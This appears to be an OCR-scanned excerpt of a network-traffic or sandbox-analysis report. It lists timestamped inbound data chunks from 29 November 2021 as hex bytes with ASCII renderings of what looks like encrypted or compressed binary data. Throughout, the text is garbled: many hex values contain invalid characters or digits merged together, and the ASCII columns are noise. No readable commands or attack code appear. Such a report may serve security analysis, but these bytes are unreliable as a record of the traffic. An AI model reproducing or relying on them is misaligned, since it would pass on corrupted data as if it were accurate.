3c 4f 08 e2 7e dd b9 22 1e 59 7a 5e 38 aa 68 69 2f ec e3 89 be 55 9a 6f bf c3 €0 58 86 b7 e4 28 df 34 Of ec fd ae 7d 34 67
dd Of 16 5e 22 2d 5d 11 ea 14 59 d4 2d a5 bc 9d 47 a2 d8 8b 37 7d d5 53 37 14 a4 5a 25 21 al 76 4e 59 85 fe 00 fd 05 28
97 b9 5a 6e 75 7b ed 9c 44 84 3b 3e 0f 72 7e 04 93 0a db b5 9¢ 36 cc ae 32 81 3b 77 €0 81 b5 aa 28 ec 06 08 c6 53 d1 67
ba 79 da ba 47 8c 0Of ed ae b0 c5 14 88 c4 4f cf
Data Ascii: g"@!".XR~=8<0ACM~W? sAK.f'|HVOr*-6DD=++rT3@Y<O~"Yz"8hi/UoX(4}4g""-]Y-G7}S7Z%'VNY (Znu{D;>
r~62;w(SgyGO

2021-11-29 13:25:46 UTC 36 IN Data Raw: b8 9b 08 80 87 74 e8 cf a2 d1 dd bc 57 f2 c6 ac ac 1f 55 95 6b 49 ad 1c 1a al b5 60 75 cb 4f d3 dc 54 4b 3e c6
1d be fd a3 af 51 39 4c 00 a6 75 3a 07 45 33 03 88 3c d8 fa bd f4 a5 c9 00 a7 dd c0 da a8 eb 18 62 cf a7 e5 6¢ c4 35 d3
72 0c 67 4d cf 21 71 c6 Of ce 2c db d3 44 73 94 58 f4 98 c4 ea 2d 85 b3 bl 6¢ 7 30 68 a5 ed 72 ff 26 b1 49 27 9f 29 6e a8
68 43 03 54 f1 9d ¢7 39 56 a7 08 ad Oc 6b a6 62 al b8 5a 29 eb 5e c8 47 b3 92 eb b9 74 d7 3e e7 75 28 ee 13 c2 05 b7
3c d5 66 ee cb 67 c0 b2 03 6d 36 5b 47 16 02 7d 81 c4 fa b7 ea da fO 7d 3f 45 4b de 1c a4 96 86 d9 cf 3d Oe 31 7e 18 d9
bl e0 e8 62 bb 54 30 4e 1d 6acb 13 e5 2c 11 f2 ff 63 3f 90 bc e2 d8 aa 61 ee de 6f ab d4 9a c2 d7 cf a9 8a 75 e3 ab f2 af
3e 57 71 9f 46 9e 9f 26 6a bl bl 1e 5b de 4f 01 90
Data Ascii: tWUKI"'uOTK>Q9Lu:E3<bI5rgM!g,DsX-0hr&l")nhCTIVkbZ) Gt>u(<fgm6[G}}?EK=1~bTONj,c?aou>WqF&j[O

2021-11-29 13:25:46 UTC 37 IN Data Raw: Oc d4 bb 29 2d 49 3d e6 c3 6a d5 73 7c ab 14 c1 70 1c 0f 24 28 39 7d 04 f9 46 c1 47 a9 31 51 09 6d 39 aa 73
4a 05 e3 e3 87 ac d8 ad 42 b7 ba 88 5f ae 89 ed 32 d5 4a 66 fa 03 ab 79 b0 72 d1 09 36 fc dc 2c 7b 7c fb 17 72 47 01 96
2d 9b 47 de a6 eb 37 30 d1 7b 84 02 af 2f 6¢c 9e al 7c 48 45 dd fe 00 fd Oe 02 d9 f2 5a 68 Of 08 eb ef 66 ad 0d 37 1c 71 47
2582 0c be fd a7 37 c6 b5 31 b1 f3 5¢c el 87 c1 db 2d f4 6d Oa fO 50 db 69 91 32 42 ba 4d e9 26 e8 bf bf ac 5f b1 c7 45 da
a6 ¢6 22 03 c3 b4 65 ae 83 95 e0 d2 9a c5 27 €9 5f ¢3 28 9f 3c 9a f3 59 f0 b3 f3 76 da 9f 2b e6 ba cb 2a dd c7 05 b2 04 8f
19 24 b6 31 03 42 bb 38 51 60 6e 99 bb 97 3f 8b 5a 6¢ ed 3c 80 74 8c 1d fb 8a 09 56 2f 5e c0 ae d9 bc 23 90 90 e6 99 3f
5591 f4 ad a7 35 eb 06 c7 ec a9 09 51 88 ae 21
Data Ascii: )-I=js|p$(9}FG1QmIsIB_2Jfyr6 {|rG-G70{/I[HEZhf7qG%71\-mPi2BM&_E"e'_(<Yv+*$1B8Q n?ZI<tV/"#?U5Q!

2021-11-29 13:25:46 UTC 38 IN Data Raw: f5 27 al 97 b9 77 13 5e 7e al ea 54 a4 12 e8 4a 2f 86 08 29 ab 44 53 28 5f 9e 9c cd 1b 02 df 43 ab 24 4b 8e
12 aa d7 6a 04 fc 4b c5 63 e4 99 f5 41 5d 42 39 cc ec 1f c4 1f c2 07 80 68 28 67 c4 c2 41 bb f9 09 02 08 59 6f 6d 04 55 d2
c4 d2 de c3 63 f8 7e 11 03 69 de 16 86 36 dc da c9 1d 39 18 72 18 db ¢3 24 e8 4e 91 51 63 5e 1e 6a c9 38 74 5f 10 f4 dd
43 17 ff b7 ca 8e aa 49 86 f7 4b al fc 18 ad ed c8 8f 9e 7e 8c dd eb 51 35 14 25 9d 6e e5 8d 21 4b f2 ab 1a 73 5e 17 44
9c 65 2f b4 e8 6¢ 1f 93 ac 94 ¢5 75 c0 66 a3 7f c3 d7 66 9f 09 5e €9 a0 21 b9 8d 2e 3e ab 1b 90 44 87 43 f7 88 df 72 f3 fe
08 87 aa dd 8d 11 36 55 le 3d ff 8e 74 65 6d a7 44 a4 dc 65 af 33 d3 f7 2e be 48 8d 3e 73 17 e3 44 83 b2 9b 0a 42 fd 06
69 a7 46 b4 45 4a 97 6a d5 €9 05 b7 59 c0 72 69 25
Data Ascii: 'w~TJ/)DS(_C$KjKcA]BIh(gAYomUc~i69r$NQcj8t_CIK~Q5%n!Ks”De/luffl.>DCréU=temDe3.H>sDBiF
EJjYri%

2021-11-29 13:25:46 UTC 40 IN Data Raw: f9 11 fe 20 4b ef f1 5¢c 01 fb 69 eb e9 71 81 2a 32 0d 7e 47 63 81 Oc b2 fd 17 37 c6 b9 24 9e 45 58 f0 88 97 d8
2e f4 6f 4d 4d 52 db 69 aa 13 53 bf 6f e2 1f €9 b9 da 5a 77 89 ce 54 d9 f0 ¢3 21 03 c1 3 1d ac 83 99 a8 55 1d c5 2d 86 73
4f 03 95 3a b3 d9 50 f9 9d eb 15 da 99 40 53 36 c9 20 d2 ¢7 30 b3 04 8f 19 92 b6 31 03 6¢ bc b7 53 6a 37 cb fc 9e 17 04
73 fc €5 53 0a 5d 32 17 ed 94 4e el 2f 5e cO 8e {8 ae ab 91 96 92 96 b3 54 95 d6 1d 13 35 ed 28 6a e6 82 14 37 9a 24 20
9a ea d5 e0 ba ac fd 52 9f 8c d2 9e 56 8e 35 Oe 09 78 98 d2 17 66 ed 0d b7 50 be 5b 85 23 ed 53 26 Oc f1 91 e7 dc 23 f0
48 d7 d1 f6 bf 6e 95 ae d8 59 a8 cd d3 47 a2 3a 23 7c 5d 43 f4 a2 b6 3f fa d8 ef 10 f5 fe be 69 1b 10 Oe el 8d 2e c8 42 97
b5 3b 2b 9c a3 6e 53 8c dc d1 13 85 39 39 03 70
Data Ascii: K\ig*2~Gc7$EX.0MMRiSoZwWT!U-sO:P@S6 01ISj7sS]2N/AT5(j7$ RV5xfP[#S&#HnYG:#[]C?i.B;+nS99p

2021-11-29 13:25:46 UTC 41 IN Data Raw: 7b 82 dd b3 14 fa 4b 9b 47 4e 1a 10 94 ce 3c ¢6 54 01 f6 7b d7 25 18 a2 ec c1 ac 49 91 da 78 5f fd 3e c1 cf da
8a 94 68 €6 bc e6 af 3e 57 52 95 79 39 93 39 6d 82 bc 1d 4a db Oc ba 97 45 3¢ ba 85 59 74 90 a6 9f e4 79 ef 66 a9 1a 22
d5 4d dc 1b 65 5e a0 30 ba 88 d4 2e 83 96 30 41 b3 79 f7 89 d3 6b 1b ec 2c ae a8 c9 bc b6 c0 30 2 3d c4 9b 42 4e 49 fO
45 ae cf 3c be 36 ea d9 36 33 69 al 37 63 18 ed 5b 8b €2 9b 0a 44 70 08 69 51 a5 bc 54 42 1a 65 43 7e f4 78 4b c7 c6 ee
3d 53 57 95 26 0a 93 c3 ed 8e 4c Oc 37 d9 9a 84 aa 58 47 0d 1a 70 d9 ba ed 3d bd 4c 21 e9 65 a6 f5 08 b0 b6 19 53 36 Of
6b d9 a4 al 93 96 54 e7 88 93 29 a6 cc 2b 3d 9f fd f2 1d aa ea f6 6a b5 34 1b 53 4b a9 62 b8 b9 09 70 ea 6 31 1c 80 b0
75 c2 a4 1e 53 fc f6 dO e8 92 df 68 b0 1c f8 32 9f 27
Data Ascii: {KGN<T{%Ix_>h>WRy99mJE<Ytyf"Me"0.0Ayk,0=BNIE<663i7c[DpiQTBeC~xK=SW&L7XGp=L!eS6KT)+=j4SKb
pluSh2'

2021-11-29 13:25:46 UTC 42 IN Data Raw: cf bb b0 04 85 64 Oe a5 20 21 20 93 b7 55 ec 57 e7 db 96 2c 89 63 fa f9 b0 b9 5¢ 32 1c ed a8 fa 6d 2e 54 e6 ad

€9 2522 90 96 89 e8 2c 59 84 cc 23 9b a2 ef 2e 79 fb b8 13 2d 99 bc 32 a2 62 b8 6e bb bd fb 2¢c 14 a5 a6 95 7e 32 1d 1f
0f 6b 98 €9 45 4f 70 06 a6 5c b1 61 b4 52 e2 41 2c 4b e2 91 e7 d0 5d 6f 60 d7 da e7 bf 2c f4 86 46 5e bb c2 d3 4a al 30
20 79 5d 58 f6 a2 ba 41 77 f1 ef 17 dd 4c 68 77 c7 2b 94 f1 89 Oc 39 31 96 bf 1c 07 94 b5 53 b3 fe dd db 34 9b a8 3f 2f 44
3c 7f 91 44 49 80 9e 88 9b 4a 3a fd c1 32 02 13 1d 37 c4 0a 0d 80 cf 1a fd cf ec db f5 3a 40 fe f4 88 b8 70 26 94 63 5f 7b
9c 35 a8 b4 0d ba 59 4f d9 c9 69 56 le df 11 68 ed 8f ab 70 5¢ f7 0d a6 77 00 27 be 14 3e ae 15 d1 ab ac f5 a5 c2 6e d5
d1 cO d3 a4 fe f7 76 8c db e6 6f e6 73 50 71 06

Data Ascii: d ! UW,c\2m.T%",Y#.y-2bn,~2kEOp\aRA K]o",FAJ0 y]XAwLhw+91S47?/D<DIJ:27:@p&c_{5YOiVhp\w'>nvosPq
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kBytes
Timestamp transferred Direction Data

2021-11-29 13:25:46 UTC 43 IN Data Raw: d3 6¢ 1b ec 2c a5 bb ed 85 00 3e dO 15 28 e4 88 63 47 56 b2 ba af €3 69 86 39 fa c6 2e al 54 b2 3d 62 03 el
5a 55 02 b7 09 5c ff 04 7e 60 5f a3 5a bc 87 4f 4a 58 1f db 4a c¢7 50 64 98 73 85 94 35 0f 10 ca e4 a4 e9 1d 3d c3 f8 83 9d
6e fa 05 32 61 45 bc fb 72 9b 4d 21 e3 d1 bl e8 28 2c a5 1d 48 b9 03 75 d7 c7 22 8e 77 5¢ d4 fd 1e 27 ca 61 35 76 09 e8
ea 09 a9 a3 60 6¢ bb 32 1b 6f 29 ae 51 bc 9e 91 ec ec €9 20 11 9c 26 73 cc al 1e 54 e f1 e3 f1 b5 79 f4 b6 03 f6 37 e
b1 66 33 €0 e4 6d 3a 41 a4 b9 12 4b cf 29 2b e5 7a 72 21 f2 d4 84 2e 25 49 2e e4 dc 72 21 6d 5f 57 3e e8 4e 65 99 c4 c7
2d 5d 04 3 7c db b9 22 1e 5d 0f 17 9d ab 62 68 25 e6 fc 88 b4 al 9b 52 bd af 90 a7 87 91 ff 34 fb 91 06 fa 09 23 6e 36 70
dO 1c 1b 5d cf 3f 7b 13 dO 1c 6b b3 06 92 98 91 28
Data Ascii: 1,>(cGVi9.T=bZU\~"_Z0JXJPds5=n2aErM!(,Hu"w\'a5v'120)Q &sTy7f3m:AK)+zr!.%l.r'm_W>Ne-]|"]b
h%R4#n6p] 2{k(

2021-11-29 13:25:46 UTC 45 IN Data Raw: e6 da 46 07 e4 d6 db ed aa 5c Oa 15 d8 5f b1 e0 68 51 b3 3a 1a 51 75 20 fd 8a 9f 50 70 d3 c3 Oa da 59 a4 41
a6 03 Ob fa al 96 44 43 91 97 32 14 8d ae 6e 77 8¢ dc d1 51 1f 29 3¢ 25 45 3c 72 91 44 49 80 b1 a2 b8 5a 19 ec c6 16 3b
bd 1c 3d al a6 05 a8 9d 75 e8 c9 ff d5 c2 b7 69 45 fe 99 a7 37 c4 96 63 53 7b 39 36 a8 b8 4a 90 59 4f d9 c9 4c 56 3b ba
6f 40 fc 8e c4 bb 33 56 06 b5 70 1d a8 bb 32 2f 93 33 b4 10 d0 f5 af eb 83 a9 d1 ca c1 b0 f0 el 4b fd ab e7 69 fd 5f c6 5a
94 19 06 c9 37 f8 de 04 c2 2d c7 d8 5b a5 36 74 f1 b9 7e e0 21 89 b9 91 50 19 31 4e b3 ec 4f a5 12 8c 49 2f 8a Oc f2 81
6a 57 00 7a 8f 9a ef b8 55 dc 49 c2 80 6e 8e 18 88 ec 50 05 fa 52 ch 5a b5 b2 b5 46 75 f1 2a c5 9e 25 e7 1f d9 25 fe 30 2b
61 d1 e0 6¢ 93 b9 02 6d 38 49 65 13 12 7d 8b dc fa
Data Ascii: F\_hQ:Qu PpYADC2nwQ)<%E<rDIZ;=uiE7cS{96JYOLV;0@3Vp2/3Ki_Z7-[6t~!P1NOI/jWzUInPRZFu*%%0+al
m8le}

2021-11-29 13:25:46 UTC 46 IN Data Raw: 55 ¢5 b9 74 c6 c7 2e 92 98 5a c1 51 Oe 2f b9 d7 33 19 b2 fa ed 1c a6 a2 7c 7f bb 00 81 7f d7 af 6¢c a7 b7 24 76
ff el 2e 04 9e 24 5b 43 a8 01 4b 48 d4 cf 8 87 84 44 b7 03 e3 3e 84 aa 6f 4d 5b fa 66 ce 53 9c be 07 70 5f 11 2a ef {6 48
35 e3c6 0d 38 30 54 34 ff d6 Oc 9b 73 50 a3 2c cf 59 45 d8 40 d4 3e 51 6b 50 77 c5 4d 37 cc 50 1f c1 38 bb 69 4a aa e3
€387 c8 19 9a 43 bd a4 7c 58 90 43 ef 52 ea dd 07 fa 03 be 5a le ef d2 0f 18 2d 6e 2d 71 19 e9 8a 72 4d 0d b2 9d 92 6f
78 db 8b 31 5f 67 52 26 0a 87 b5 44 20 ab 6f 44 3b e2 ec 16 el 1b 3f c7 b2 4b 78 60 7d 71 fc 6f 94 30 25 11 18 dd 00 82
06 98 b9 8c 3d d7 b2 58 2b 55 5e eb {5 ad bb 2d ef 7a 2c d6 5d 55 d8 ae 27 56 92 d0 86 1c e3 ae bb bb 73 al Oc 45 dc de
€9 3402 c7 96 e6 bd 96 84 1e 7f 8f d4 38 97 73 4c
Data Ascii: Ut.ZQ/3|I$v.$[CKHD>0oM[fSp_*H580T4sP,YE@>QkPwWM7P8iJC|XCRZ-n-qrMox1_gR&D oD;?Kx }qo0%=X+U"-
z,]U'VSE48sL

2021-11-29 13:25:46 UTC 47 IN Data Raw: 1a 96 63 53 7b 04 34 a8 b4 0d dc 58 4f d9 04 47 62 16 f9 04 40 f6 82 83 42 33 56 06 78 7d 23 20 ba 2e 2f 82

3edb d4 d0 e9 87 c3 11 b3 d1 cO d3 b7 el d6 63 ff e4 e7 61 6 5b d2 73 1d 2a 05 cf 7d 75 d9 04 9c 2c d3 dd 3c 37 95 74
fb b9 17 8b 13 88 b3 bd 5f Oe 33 44 a6 c2 19 a0 3a bb 61 37 82 20 96 c6 82 55 00 76 40 92 e2 1b 63 dc 43 a7 00 47 b6 12
a0 b2 8e 05 fa 3f f0 4a b3 9e dd 50 77 fb 3d e4 ad 34 e7 19 ea 14 aa 30 2d 08 04 ea 65 b1 27 0d 48 1a 6f 6f 67 09 70 a3 ff
d2 d8 el 04 fa 78 3d 2a 56 de 16 8c 1e 80 d9 d5 39 11 32 68 18 d1 ad 1e €9 7e 9b 4a 07 05 13 70 cf 10 cc 46 20 f1 f5 3c
17 ff bd bc d2 a9 58 f3 65 6f al f6 18 c4 a9 fa 8e 94 7d ch b4 e8 51 39 53 13 9f 6e €9 b6 3e 62 91 bf 72 9d de 16 4e 48 67
0d 94 b0 71 1e 99 aa bl f4 5d ef 6¢ 7d 75 e8 ab 7e

Data Ascii: cS{4XOGb@B3Vx}# ./>ca[s*}u,<7t_3D:a7 Uv@cCG?IPw=40-e'Hoogpx=*V92h~JpF <Xeo}Q9Sn>brNHgq]l}u~

2021-11-29 13:25:46 UTC 49 IN Data Raw: fa a0 d7 2a 4d 04 e2 77 c5 47 91 32 26 20 3e 36 b0 62 62 37 e0 e3 5¢c a6 al 7c 42 a3 aa 82 59 87 bd ee 2c d1
4392 f8 Oc b5 51 36 71 ca 3f 1b 42 fe 2f 71 13 a8 16 72 5¢ 74 04 8¢ 99 4d cb dc 94 2d 18 6e 53 26 0a 87 99 47 20 a7 54
66 2a e7 f5 0b f0 20 05 ec f1 50 78 8f 69 ec c7 d3 86 3b 32 34 53 6f 01 88 24 85 92 9d 3c dO 41 36 f9 78 5d f0 85 95 bc 05
45 6a 22 c1 7b ff 6f b9 1c 6a 2f 47 86 16 e5 97 07 a9 77 8f c9 6d 6f db a6 24 70 43 9d ed a6 8b fc 7d 6d 9a cf 42 01 64 c2
228255 3ach 5afada04 17 da 95 3c c7 1e 7d 29 db e9 c8 36 05 85 7c 16 d8 84 08 44 99 d8 d4 61 68 ed cc f8 b7 8e 72
6 80 b5 87 5¢ 38 Oe fc a8 d3 6f 2e 58 b9 2c fO 86 2a 98 f9 2d f8 3f 5f fa 5b 34 a5 3f fa 41 f1 ed a9 09 51 3b ae 21 90 f3 b0
7fb1 84 3d 3d 13 87 f1 94 7e 38 35 Oe Of 6b
Data Ascii: *MwG2& >6bb7\|BY,CQ6q?B/qritM-nS&G Tf* Pxi;24S0$<A6X]Ej"{0j/Gwmo$pC}imBd"U:Z<})6|Dahr\80.X,*-?_[4?
AQ;!==~85k

2021-11-29 13:25:46 UTC 50 IN Data Raw: 31 95 b0 ba 54 2c 5e 99 88 ef 8c 57 dc 45 ba 81 68 8e 12 al b4 58 13 f8 cd fd 4b b3 9b 57 4f 61 ef 13 05 eb 37
ed 05 d1 08 a8 21 2e 71 3c eb 49 b8 ee 10 68 32 49 6a 7d fd 7c a7 c5 f9 da cO 7b fd 6a 3f af 48 de 10 9b 93 81 d9 c9 1a
1d 34 64 1d 5d 93 1e e9 4f 39 5e 46 Oc 09 7e d8 9d e2 5d 10 f3 e6 64 06 fb ab f5 4e b8 4d a8 7c 6f al f6 03 c6 c1 59 a3 bl
70 5 39 c2 40 3f 7b 50 4c 51 ef 9e 27 48 85 b9 1d 51 f6 22 45 96 63 51 83 87 71 1f e2 99 99 cc 5¢ 11 6d a0 75 9a c7 4d
d6 1b 5c 5b a0 21 a4 ae 29 2f
Data Ascii: 1T,"WEhXKWOa7!.q<Ih2Ij}|{j?H4d]O9"F~]dNM|oYp9@?{PLQ'HQ"EcQq\muM\[!)/

2021-11-29 13:25:46 UTC 50 IN Data Raw: f3 95 27 52 e8 79 e6 9d bf c1 e5 ed 0a a6 85 b2 af 01 3e cb 25 2c ec 88 74 65 18 a4 44 a8 e7 78 bc 36 fd a9 e8
be 42 ab €9 6¢ 37 c3 7a ab 03 91 06 6¢ d4 Oe 7e 7b 8b bc 52 3¢ ad 62 5b 5a 1f 6f 49 ¢7 5¢ c0 75 70 85 93 Oe 13 0d c5 f1
cl 2f 0c 37 d3 d8 8¢ 94 50 c4 0d 1a 7a 48 94 c9 1d 3a 46 ff €9 ff 8a e9 34 26 b6 19 53 ac 09 69 e4 cd 33 8f 89 5d 9 f0 Of
1f b9 da 78 76 0d el ed 16 b4 ab 5a 65 aa dc 06 7e d7 c3 7d b5 b7 46 56 ec e9 35 09 f1 bf 73 dd al 0d 33 f3 O cf f2 9e ee
8a 98 02 €9 29 a5 ac 64 22 ec 6 6f ec 80 8b a8 12 4b fc 28 2b e5 de c5 21 f2 df 84 2f 2b 41 15 df dc 63 21 5f 57 af 34 19
ea 4c fO db c6 3a 7f 91 e2 76 cf 54 2b 23 59 21 fe 3a aa 64 4a fc el e3 8b 8f 60 9a 43 bd df 4e 58 86 b7 fd 34 da 1c 9b fa
03 a5 79 20 72 d1 09 0d 45 cd 2b 5¢ 14 c7
Data Ascii: 'Ry>%,teDx6BI7zI~{R<b[Zol\up/7PzH:F4&Si3]xvZe~}FV5s3)d"oK (+!/+Ac!_WAL:vT+#Y!:d)' CNX4y rE+\

2021-11-29 13:25:46 UTC 51 IN Data Raw: ae 40 e8 3c 08 61 7b 96 f6 d0 5d 6f 27 f3 d9 e7 b3 57 28 bf dc 30 9d ca f8 54 a2 36 la a5 76 20 f1 cd 9a 52 70
df e9 07 d7 29 a6 68 1d 09 lafe e6 c1 47 43 9d 85 bb ea 72 5b 98 ca 9c d2 ae 05 b3 28 3d 03 4e 42 d1 e5 7f 43 93 bc f5
ee 5b 19 e6 08 c4 06 36 35 Oa ab ab 06 93 c8 06 52 cf ec db d6 85 79 fe fe 93 73 1d 53 bf 64 7f 53 1d 36 €9 86 62 1a 5a
4f d3 da 10 47 3e ce 67 41 fc 8f 17 7b 33 56 1a a6 7d 25 Oa bb 32 2f 82 3e db d2 d6 f5 a5 c¢3 d1 a8 d1 c0 06 b6 el e6 76
e3 a8 e7 75 ec 5b d3 61 36 1f 06 cb 20 75 d9 6a c2 2c c2 da 5¢ 88 ad 81 f1 b3 11 f5 30 8c ae 47 76 35 34 52 aa f4 4d a6
3aac 4c 34 7e 21 bc al 7c f5 00 7c 9e 80 d4 36 54 cd 46 b5 f2 6e a2 1b 88 96 52 05 fa 4d db 58 b6 9a e4 42 6b 05 3a €0
d8 3f e5 16 d8 62 47 30 2b 6d dd fa 4d 94 8 03 67 31
Data Ascii: @<af]o'W(0T6v Rp)hGCr[(=NBC[65RysSdS6bZOG>gA{3V}%2/>vu[ab uj,\0GV54RM:L4~!||6 TFNRMXBK:?b
GO0+mMgl

2021-11-29 13:25:46 UTC 52 IN Data Raw: 9 f9 a0 e8 28 26 b6 19 55 aa 09 75 de cc 3d 95 97 5c f8 fO 1a 2f b9 c6 2e 76 03 fa f6 26 b6 b0 2a 6d aa 38 75
7e d7 be Oe 0f a6 35 €6 e6 97 03 03 8f 26 5b 05 a8 01 4b 77 9f f2 f8 8d el d9 bl 05 e2 f0 92 ba 66 22 34 ef 43 ec 77 88 a8
le 70 63 2e 20 c7 ce 59 21 f8 08 9e 2a 3a 45 43 d2 dc 63 21 5a 88 aa 3f c2 5f 21 cd db d7 34 5b Oc 8d c7 c4 47 29 3f 58
1a 31 2f b9 6f 5a f4 e0 3 81 b6 a5 8a 4e 2d a3 87 27 ba bd ee 38 fb ed 04 fa 05 be 54 1e 54 d1 Of 14 55 b3 11 71 13 cb
05 74 65 14 bf 8¢ 93 56 de f0 51 34 30 d3 3c 94 01 af 23 30 32 al 7c 59 45 f1 fe 00 fd 1b 21 fd f7 72 b5 72 68 ed 80 d0 84
3b 3e 68 65 6f 01 99 1f b3 83 9b 1e la bc 37 9f 3b ec e0 81 b5 cf 3f f4 69 39 d4 5b c9 67 a8 1e cc 0d 50 5¢ 34 ef bf b5 81
66 8e d5 4d f4 38 a6 22 05 d4 95 9e 8e 81 93
Data Ascii: (&Uu=V.v&*m8u~5&[Kwf"4Cwpc. Y!*:ECc!Z?_14[G)?X1/0ZN-'8TTUqteVQ40<#02|YE!rrh;>heo7;?i9[gP\4fM8"

2021-11-29 13:25:46 UTC 54 IN Data Raw: de ad 47 91 63 99 ad 15 79 a4 72 53 42 18 1e 42 b1 62 1c 4d 59 fb 9e 48 47 34 d9 9e 68 17 8c ab 7c 26 40 24
e27c 2500 ad a8 07 81 3f db d4 f8 69 a5 ¢3 15 c6 {7 c2 d2 bl ca d5 72 e6 80 Ob 6¢ ec 5d bd ef 06 1a Oc e3 04 64 df 15
c7 04 3f cf 4f 8b 80 62 d9 f7 10 f5 2b 9e 29 91 9c 1a 31 42 b5 fc 76 e7 3b bd 43 39 1a 4f b6 ab 44 53 11 7a b6 71 c4 33 52
b3 69 af Oc 69 88 03 a6 d7 48 04 fc 4b d3 41 dc 5d f5 47 7f c1 f0 32 15 ¢8 39 09 d3 07 dd Ob 2b 67 c3 c6 69 aa f3 76 56 32
58 6e 08 54 7d 8b cd Oe c9 e3 cd 2c 6d 1f 3a 42 cf 1f 02 a9 b9 a3 37 e4 ee e2 67 3d f9 9b 1e e9 44 88 51 38 bf 1d 6a c5
1b e5 65 10 f2 ff be 15 f9 97 e5 f8 a9 49 c1 eb 6f al fe 12 c2 d7 9f 8f 94 79 a9 a2 ea 51 9f 7a 5a 9c 78 ef 9e 26 60 91 b9
1d 5b de 16 44 90 69 28 bc 44 70 1e 93 6f 98 cc
Data Ascii: GeyrSBBbMYHG4h|&@$|%?irl]d?0b+)1Bv;C90DSzq3RiiHKA]G29+givV2XnT},m:B7g=DQ8jeloyQzZx& [Di(
Dpo
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kBytes
Timestamp transferred Direction Data

2021-11-29 13:25:46 UTC 55 IN Data Raw: 3a 7d 3f e0 3e c4 42 5d f9 c4 da 2d 45 04 f3 64 da 63 dd 33 7d 19 2e 31 82 60 66 36 €6 8c ab a5 ab 9d 5c 92
a3 9059 97 af f1 27 2d 35 2b ec 12 a5 47 ac 58 46 Oc le 44 ca 04 5f 13 c1 1c 64 7e 5c al 9a 8a 55 d8 c9 99 28 3b 2b 52
0a Ob be 27 55 2d 3b 6f 45 35 eb ec 12 {7 19 38 f3 ea a4 6f 5d 61 d3 95 63 85 3b 2b 00 64 7d 01 93 1e a8 6¢ 9c la cc cl
a4 99 54 54 2 84 a2 a8 3f f4 78 30 d8 70 25 6e 95 1b 53 b2 56 83 73 cf bd b5 ac 68 ad d7 57 dc c9 b4 3d 1f 39 9d c1 b5
92 99 de f6 b2 7a 2f 86 63 d4 00 bb 3a b2 c0 4c b0 85 8c 16 da 80 32 dd 24 c9 3b c9 fO 9c 4c 05 a9 7a 0f ba 20 07 ca 24
85 db 7f 40 f4 c9 97 2e 9d 6d e5 11 3d aa 55 0a 14 fa 80 66 73 34 4d d8 a8 e0 94 3f 83 68 99 d5 36 44 9f cb af a9 2a f9 3d
6b ec b8 11 21 bd 51 20 b6 €9 82 a8 45 53 08 22 03 9e
Data Ascii: :}?>B]-Edc3}.1°'f6\Y'-5+GXFD_d~\U(;+R'U-;0E580]ac;+d}ITT?x0p%nSVshW=9z/c:L2$;Lz $@.m=Ufs4M?
h6D*=k!Q ES"

2021-11-29 13:25:46 UTC 56 IN Data Raw: fa c4 8b 33 b9 49 29 ef ¢3 91 a9 4e 43 fe 7e c1 b0 df 22 5f cd 53 37 1a 7e 85 03 b0 22 3f cc fc 41 ¢8 53 69 f5
1a 47 75 f1 37 dd el 26 7 85 ea 07 ac 30 2d 08 3e ea 65 b1 €8 08 7c 22 4f b9 fd 2b 76 8f ¢7 d4 b7 17 da fa 74 48 07 3f cf
1d 9d Oe 1c cf d8 10 00 2c e8 77 18 ac 1e e3 59 41 39 a4 05 1d 60 dc 15 dc 56 01 e2 e2 b6 8d e9 ac e9 c3 b9 5e 56 45
0068 fc 12 c8 cf 13 e0 7b 79 €3 a9 f9 57 4c 59 58 9c 68 fc 8f 37 65 fe 70 1d 5b d4 Oc 75 b8 78 39 b4 e8 59 1c 93 a0 88 dd
4c €9 09 87 77 ee d3 5¢c ¢7 11 73 34 86 23 bf 98 3b 3e 87 99 23 52 b0 16 cc 8e cc 7d e3 fc 11 ¢3 9b cd 84 Oa 2f df 1a ed
fd 98 63 5d 58 b0 7a b3 30 9f 41 27 f2 d1 8 ad 4b b0 3e 73 01 d5 ee 56 fc 64 d4 51 c9 26 49 71 55 b6 47 50 5 d9 5b 5e
3d 75 63 ff 5a 8 2e ad 87 93 Oc 03 25 c5 b6 b2 e9
Data Ascii: 3))NC~"_S7~"?ASiGu7&0->e|"O+vtH?,wYA9 VAVEh{yWLYXh7ep[ux9YLw\s4#;>#R}/c]Xz0A'K>sVdQ&IqUG
P["=ucZ.%

2021-11-29 13:25:46 UTC 58 IN Data Raw: 40 cf ef 62 8f 2d 1c fb 76 6f Ob aa 2b b4 92 97 25 c3 ae 32 b1 65 5e el 8b 92 b0 5e 4e 69 22 cd 58 06 b2 b9 16
42 ab 42 ae 40 e9 bf b3 a7 7e al 27 46 dc de 8e c6 00 c7 9a c5 f1 83 93 ce 7f 9e cc 05 60 66 c2 2e bd dd bl ca 5c d8 e8
8d 16 dc 8c 29 c7 1le 21 29 db €9 93 5b 07 85 70 36 ea 31 09 42 80 bf 5a 48 74 e3 db 91 17 92 76 fc €9 14 db 5¢c 32 1b e8
87 6f 44 30 5a ca ae d9 99 24 90 90 b0 a4 3f 55 93 d0 24 ad 1d c3 2c 79 ea bf 2b 10 b2 af 2b 8c ce €9 1d 99 ae f7 3b 00
84 c3 9d 6f 3c 1d eb Oc 6b 94 eb 56 4f ca 07 a6 5¢ cO 7a af 40 e8 42 29 72 73 ff c3 d8 4c 6e 59 de ca e0 da 60 20 ae de
4e b2 e0 d8 56 b3 3a 5d 5f 77 20 f1 a4 al 59 1f c1 ee 16 d7 98 b1 4c 35 34 Ob f0 83 15 4d 6b af bf 16 1e 53 a4 98 c9 a8 f4
ec 3e b3 22 2f 24 31 e9 df 90 4e 48 bb 85 9a b9 51
Data Ascii: @b-vo+%2eMNi"XBB@~'F f.\)!)[p61BZHtv\20D0Z$?U$,y++;0<kVO\z@B)rsLnY" NV:]_w YL54MkS>"/$1NHQ

2021-11-29 13:25:46 UTC 59 IN Data Raw: d3 06 7b c9 ¢6 17 d1 2f f2 f5 61 b5 ee b5 6 c6 bd 61 23 df 6f ab d4 03 c2 d7 c¢3 9¢c 93 68 e7 8b 76 51 3f 71 45
8c 46 06 9f 26 6a 80 bf c7 4c 04 09 6b 87 6e 00 20 87 71 14 8c b6 bl 25 5¢c ef 6¢ 75 6a d7 88 97 c5 05 7e 4a a5 09 55 9f
2a 2523 ca2752b751d58dcc 71 e9 fc 06 bb 55 df 82 11 38 de 04 05 dO 77 8d b2 41 8f d8 ae cf 6a b4 e8 €9 ee 19 be
